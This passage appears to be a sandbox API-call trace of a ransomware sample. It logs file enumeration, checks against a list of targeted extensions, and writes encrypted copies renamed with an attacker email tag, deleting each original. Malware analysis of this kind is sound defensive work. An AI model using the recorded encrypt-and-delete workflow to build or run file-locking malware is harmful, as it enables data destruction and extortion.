office\\office14\\imcommon.dll")) returned 0x20 [0265.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\imcommon.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imcommon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.896] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=29640) returned 1 [0265.896] CloseHandle (hObject=0x390) returned 1 [0265.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add")) returned 0x20 [0265.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.897] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.897] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.898] GetLastError () returned 0x0 [0265.898] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x73c8, lpOverlapped=0x0) returned 1 [0266.051] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x73d0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x73d0, lpOverlapped=0x0) returned 1 [0266.052] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0266.052] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0266.052] SetEndOfFile (hFile=0x1f8) returned 1 [0266.052] CloseHandle (hObject=0x1f8) returned 1 [0266.052] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0266.052] SetEndOfFile (hFile=0x390) returned 1 [0266.055] CloseHandle (hObject=0x390) returned 1 [0266.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0266.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add")) returned 1 [0266.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned 53 [0266.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned 53 [0266.070] lstrlenW (lpString=".doc") returned 4 [0266.070] lstrcmpiW (lpString1=".doc", lpString2=".ADD") returned 1 [0266.070] lstrlenW (lpString=".docx") returned 5 [0266.070] lstrcmpiW (lpString1=".docx", lpString2="P.ADD") returned -1 [0266.070] lstrlenW (lpString=".pdf") returned 4 [0266.070] lstrcmpiW (lpString1=".pdf", lpString2=".ADD") returned 1 [0266.070] lstrlenW (lpString=".xls") returned 4 [0266.070] lstrcmpiW (lpString1=".xls", lpString2=".ADD") returned 1 [0266.070] lstrlenW (lpString=".xlsx") returned 5 [0266.070] lstrcmpiW (lpString1=".xlsx", lpString2="P.ADD") returned -1 [0266.070] lstrlenW (lpString=".ppt") returned 4 [0266.070] lstrcmpiW (lpString1=".ppt", lpString2=".ADD") returned 1 [0266.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned 53 [0266.070] lstrlenW (lpString=".zip") returned 4 [0266.071] lstrcmpiW (lpString1=".zip", lpString2=".ADD") returned 1 [0266.071] lstrlenW (lpString=".rar") returned 4 [0266.071] lstrcmpiW (lpString1=".rar", lpString2=".ADD") returned 1 [0266.071] lstrlenW (lpString=".bz2") returned 4 [0266.071] lstrcmpiW (lpString1=".bz2", lpString2=".ADD") returned 1 [0266.071] lstrlenW (lpString=".7z") returned 3 [0266.071] lstrcmpiW (lpString1=".7z", lpString2="ADD") returned -1 [0266.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned 53 [0266.071] lstrlenW (lpString=".dbf") returned 4 [0266.071] lstrcmpiW (lpString1=".dbf", lpString2=".ADD") returned 1 [0266.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned 53 [0266.071] lstrlenW (lpString=".1cd") returned 4 [0266.071] lstrcmpiW (lpString1=".1cd", lpString2=".ADD") returned -1 [0266.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned 53 [0266.071] lstrlenW (lpString=".jpg") returned 4 [0266.071] lstrcmpiW (lpString1=".jpg", lpString2=".ADD") returned 1 [0266.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned 53 [0266.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned 53 [0266.071] lstrlenW (lpString=".doc") returned 4 [0266.071] lstrcmpiW (lpString1=".doc", lpString2=".ADD") returned 1 [0266.071] lstrlenW (lpString=".docx") returned 5 [0266.071] lstrcmpiW (lpString1=".docx", lpString2="P.ADD") returned -1 [0266.071] lstrlenW (lpString=".pdf") returned 4 [0266.071] lstrcmpiW (lpString1=".pdf", lpString2=".ADD") returned 1 [0266.071] lstrlenW (lpString=".xls") returned 4 [0266.071] lstrcmpiW (lpString1=".xls", lpString2=".ADD") returned 1 [0266.071] lstrlenW (lpString=".xlsx") returned 5 [0266.071] lstrcmpiW (lpString1=".xlsx", lpString2="P.ADD") returned -1 [0266.071] lstrlenW (lpString=".ppt") returned 4 [0266.071] lstrcmpiW (lpString1=".ppt", lpString2=".ADD") returned 1 [0266.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned 53 [0266.071] lstrlenW (lpString=".zip") returned 4 [0266.071] lstrcmpiW (lpString1=".zip", lpString2=".ADD") returned 1 [0266.071] lstrlenW (lpString=".rar") returned 4 [0266.071] lstrcmpiW (lpString1=".rar", lpString2=".ADD") returned 1 [0266.071] lstrlenW (lpString=".bz2") returned 4 [0266.072] lstrcmpiW (lpString1=".bz2", lpString2=".ADD") returned 1 [0266.072] lstrlenW (lpString=".7z") returned 3 [0266.072] lstrcmpiW (lpString1=".7z", lpString2="ADD") returned -1 [0266.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned 53 [0266.072] lstrlenW (lpString=".dbf") returned 4 [0266.072] lstrcmpiW (lpString1=".dbf", lpString2=".ADD") returned 1 [0266.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned 53 [0266.072] lstrlenW (lpString=".1cd") returned 4 [0266.072] lstrcmpiW (lpString1=".1cd", lpString2=".ADD") returned -1 [0266.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned 53 [0266.072] lstrlenW (lpString=".jpg") returned 4 [0266.072] lstrcmpiW (lpString1=".jpg", lpString2=".ADD") returned 1 [0266.072] lstrcmpiW (lpString1=".xss", lpString2=".Q1G") returned 1 [0266.072] lstrlenW (lpString="Installed_schemas14.xss") returned 23 [0266.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0266.073] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=544768) returned 1 [0266.073] CloseHandle (hObject=0x1b8) returned 1 [0266.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss")) returned 0x20 [0266.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0266.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0266.073] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0266.073] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0266.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0266.074] GetLastError () returned 0x0 [0266.074] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x85000, lpOverlapped=0x0) returned 1 [0266.089] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x85010, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x85010, lpOverlapped=0x0) returned 1 [0266.098] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0266.098] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x102, lpOverlapped=0x0) returned 1 [0266.098] SetEndOfFile (hFile=0x3a8) returned 1 [0266.098] CloseHandle (hObject=0x3a8) returned 1 [0266.098] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0266.098] SetEndOfFile (hFile=0x1b8) Thread: id = 74 os_tid = 0x628 [0235.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x5cef58 [0235.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x5def60 [0235.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5813c0 [0235.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6) returned 0x57eff8 [0235.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5813d8 [0235.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x100000) returned 0x37e0020 [0235.765] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5813f0 [0235.765] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5813f0, Size=0x20) returned 0x59eba8 [0235.765] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5813f0 [0235.765] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5813f0, Size=0x20) returned 0x59ebd0 [0235.765] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0235.765] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0235.765] Wow64DisableWow64FsRedirection (in: OldValue=0x2f1ff58 | out: OldValue=0x2f1ff58*=0x0) returned 1 [0235.765] lstrlenW (lpString="kernel32.dll") returned 12 [0235.765] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59eba8 | out: hHeap=0x530000) returned 1 [0235.765] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0235.765] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59ebd0 | out: hHeap=0x530000) returned 1 [0235.765] Sleep (dwMilliseconds=0x64) [0235.980] lstrcmpiW (lpString1=".ini", lpString2=".Q1G") returned -1 [0235.980] lstrlenW (lpString="desktop.ini") returned 11 [0235.980] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0235.980] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=129) returned 1 [0235.980] CloseHandle (hObject=0x214) returned 1 [0235.981] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0235.981] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[getbtc@aol.com].q1g")) returned 0x26 [0235.981] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0235.981] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0235.981] lstrlenW (lpString=".doc") returned 4 [0235.981] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0235.981] lstrlenW (lpString=".docx") returned 5 [0235.981] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0235.981] lstrlenW (lpString=".pdf") returned 4 [0235.981] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0235.981] lstrlenW (lpString=".xls") returned 4 [0235.981] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0235.981] lstrlenW (lpString=".xlsx") returned 5 [0235.981] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0235.981] lstrlenW (lpString=".ppt") returned 4 [0235.981] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0235.981] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0235.981] lstrlenW (lpString=".zip") returned 4 [0235.981] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0235.981] lstrlenW (lpString=".rar") returned 4 [0235.981] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0235.981] lstrlenW (lpString=".bz2") returned 4 [0235.981] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0235.981] lstrlenW (lpString=".7z") returned 3 [0235.981] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0235.981] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0235.981] lstrlenW (lpString=".dbf") returned 4 [0235.981] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0235.982] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0235.982] lstrlenW (lpString=".1cd") returned 4 [0235.982] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0235.982] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0235.982] lstrlenW (lpString=".jpg") returned 4 [0235.982] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0235.982] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0235.982] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0235.982] lstrlenW (lpString=".doc") returned 4 [0235.982] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0235.982] lstrlenW (lpString=".docx") returned 5 [0235.982] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0235.982] lstrlenW (lpString=".pdf") returned 4 [0235.982] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0235.982] lstrlenW (lpString=".xls") returned 4 [0235.982] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0235.982] lstrlenW (lpString=".xlsx") returned 5 [0235.982] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0235.982] lstrlenW (lpString=".ppt") returned 4 [0235.982] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0235.982] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0235.982] lstrlenW (lpString=".zip") returned 4 [0235.982] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0235.982] lstrlenW (lpString=".rar") returned 4 [0235.982] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0235.982] lstrlenW (lpString=".bz2") returned 4 [0235.982] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0235.982] lstrlenW (lpString=".7z") returned 3 [0235.982] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0235.982] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0235.982] lstrlenW (lpString=".dbf") returned 4 [0235.982] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0235.982] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0235.982] lstrlenW (lpString=".1cd") returned 4 [0235.982] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0235.982] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0235.983] lstrlenW (lpString=".jpg") returned 4 [0235.983] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0235.983] lstrcmpiW (lpString1=".LOG", lpString2=".Q1G") returned -1 [0235.983] lstrlenW (lpString="BCD.LOG") returned 7 [0235.983] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.983] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0235.983] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0235.983] lstrlenW (lpString=".doc") returned 4 [0235.983] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0235.983] lstrlenW (lpString=".docx") returned 5 [0235.983] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0235.983] lstrlenW (lpString=".pdf") returned 4 [0235.983] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0235.983] lstrlenW (lpString=".xls") returned 4 [0235.983] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0235.983] lstrlenW (lpString=".xlsx") returned 5 [0235.983] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0235.983] lstrlenW (lpString=".ppt") returned 4 [0235.983] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0235.983] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0235.983] lstrlenW (lpString=".zip") returned 4 [0235.983] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0235.983] lstrlenW (lpString=".rar") returned 4 [0235.983] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0235.983] lstrlenW (lpString=".bz2") returned 4 [0235.983] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0235.983] lstrlenW (lpString=".7z") returned 3 [0235.983] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0235.984] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0235.984] lstrlenW (lpString=".dbf") returned 4 [0235.984] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0235.984] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0235.984] lstrlenW (lpString=".1cd") returned 4 [0235.984] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0235.984] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0235.984] lstrlenW (lpString=".jpg") returned 4 [0235.984] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0235.984] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0235.984] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0235.984] lstrlenW (lpString=".doc") returned 4 [0235.984] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0235.984] lstrlenW (lpString=".docx") returned 5 [0235.984] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0235.984] lstrlenW (lpString=".pdf") returned 4 [0235.984] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0235.984] lstrlenW (lpString=".xls") returned 4 [0235.984] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0235.984] lstrlenW (lpString=".xlsx") returned 5 [0235.984] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0235.984] lstrlenW (lpString=".ppt") returned 4 [0235.984] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0235.984] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0235.984] lstrlenW (lpString=".zip") returned 4 [0235.984] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0235.984] lstrlenW (lpString=".rar") returned 4 [0235.984] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0235.984] lstrlenW (lpString=".bz2") returned 4 [0235.984] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0235.984] lstrlenW (lpString=".7z") returned 3 [0235.984] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0235.984] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0235.984] lstrlenW (lpString=".dbf") returned 4 [0235.984] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0235.984] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0235.985] lstrlenW (lpString=".1cd") returned 4 [0235.985] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0235.985] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0235.985] lstrlenW (lpString=".jpg") returned 4 [0235.985] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0235.985] lstrcmpiW (lpString1=".log", lpString2=".Q1G") returned -1 [0235.985] lstrlenW (lpString="bootex.log") returned 10 [0235.985] CreateFileW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0236.232] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=5120) returned 1 [0236.232] CloseHandle (hObject=0x290) returned 1 [0236.232] GetFileAttributesW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log")) returned 0x80 [0236.232] GetFileAttributesW (lpFileName="C:\\bootex.log.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\bootex.log.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.232] CreateFileW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0236.232] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.232] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.232] CreateFileW (lpFileName="C:\\bootex.log.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\bootex.log.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0236.235] GetLastError () returned 0x0 [0236.235] ReadFile (in: hFile=0x290, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1400, lpOverlapped=0x0) returned 1 [0236.246] WriteFile (in: hFile=0x28c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0236.247] ReadFile (in: hFile=0x290, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0236.247] WriteFile (in: hFile=0x28c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, 